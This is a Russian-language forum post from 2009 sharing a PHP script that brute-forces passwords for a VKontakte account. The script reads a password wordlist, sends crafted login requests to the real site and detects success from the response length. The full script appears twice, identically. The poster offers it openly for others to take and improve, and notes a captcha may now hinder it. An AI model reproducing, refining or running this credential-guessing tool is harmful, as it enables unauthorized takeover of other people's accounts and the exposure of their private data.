herfleisch
10.01.2009, 18:43
Скрипт был написан ещё летом - тогда он брутил на ура. На счёт сейчас я ничего не могу сказать. Капча вроде как теперь действует и на заглавной странице сайта при возврате назад восле неверного ввода пароля... Но тем не менее вот скрипт - кому надо, берите, дорабатывайте, говорите спасибо или говорите какой я м*удак.
#!/usr/bin/php
<? $i = 0;
// Please change this information
$id = '12345678';
$username = 'user%40mail.ru';
$passlist = 'file.txt';
function checklogin($id, $username, $password)
{
$socketforconnect = socket_create(AF_INET, SOCK_STREAM, 0);
socket_connect($socketforconnect, gethostbyname("vkontakte.ru"), 80);
$md5 = md5($password);
$data = "HEAD http://vkontakte.ru/ HTTP/1.0\r\nGET http://www.vkontakte.ru/login.php?email=$username&pass=$password HTTP/1.0\r\nHost: vkontakte.ru\r\nAccept: */*\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozillo\r\nCookie: remixchk=2; remixmid=$id; remixemail=$username; remixpass=$md5\r\nConnection: close\r\n\r\n"; socket_write($socketforconnect, $data, strlen($data));
$data = socket_read($socketforconnect, 1000, PHP_BINARY_READ);
if (strlen($data) == 423)
return 0;
else return 1;
}
$filedes = fopen($passlist, "r");
rewind($filedes);
print("User ID: $id\nSearch for password from file $passlist\n");
do
{
$password = fgetss($filedes, 16);
$password = substr($password, 0, -1);
$i++;
if ($password == '')
{
print("\rPassword is not found\n");
exit;
}
print("\r$i");
$result = checklogin($id, $username, $password);
if ($result == 1)
{
print("\nSearch completed!\n");
break;
}
}
while (true);
fclose($filedes);
?>
#!/usr/bin/php
<? $i = 0;
// Please change this information
$id = '12345678';
$username = 'user%40mail.ru';
$passlist = 'file.txt';
function checklogin($id, $username, $password)
{
$socketforconnect = socket_create(AF_INET, SOCK_STREAM, 0);
socket_connect($socketforconnect, gethostbyname("vkontakte.ru"), 80);
$md5 = md5($password);
$data = "HEAD http://vkontakte.ru/ HTTP/1.0\r\nGET http://www.vkontakte.ru/login.php?email=$username&pass=$password HTTP/1.0\r\nHost: vkontakte.ru\r\nAccept: */*\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozillo\r\nCookie: remixchk=2; remixmid=$id; remixemail=$username; remixpass=$md5\r\nConnection: close\r\n\r\n"; socket_write($socketforconnect, $data, strlen($data));
$data = socket_read($socketforconnect, 1000, PHP_BINARY_READ);
if (strlen($data) == 423)
return 0;
else return 1;
}
$filedes = fopen($passlist, "r");
rewind($filedes);
print("User ID: $id\nSearch for password from file $passlist\n");
do
{
$password = fgetss($filedes, 16);
$password = substr($password, 0, -1);
$i++;
if ($password == '')
{
print("\rPassword is not found\n");
exit;
}
print("\r$i");
$result = checklogin($id, $username, $password);
if ($result == 1)
{
print("\nSearch completed!\n");
break;
}
}
while (true);
fclose($filedes);
?>